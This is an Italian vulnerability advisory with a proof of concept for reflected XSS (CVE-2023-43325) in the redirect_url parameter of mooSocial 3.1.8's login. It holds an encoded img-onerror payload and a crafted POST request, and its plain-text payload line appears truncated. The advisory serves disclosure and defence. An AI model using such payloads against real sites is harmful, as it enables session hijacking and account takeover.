mooSocial: XSS (CVE-2023-43325)

Esiste una vulnerabilità di cross-site scripting (XSS) riflesso nel parametro data[redirect_url] nella funzione di login utente di mooSocial v3.1.8 che consente agli attaccanti di rubare i cookie di sessione degli utenti e impersonare il loro account tramite un URL appositamente creato.

Parametro vulnerabile: data[redirect_url]

Exploit - Prova di concetto (POC)

Cross-site scripting (XSS) riflesso

Payload : test">test 
Payload (Base64 encoded) : dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
Final Payload (Base64+Url encoded): dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d

Richiesta POST su /moosocial/users/login (SOLO DATI DELLA RICHIESTA POST):

[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[redacted]&data%5Bremember%5D=0]

Screenshot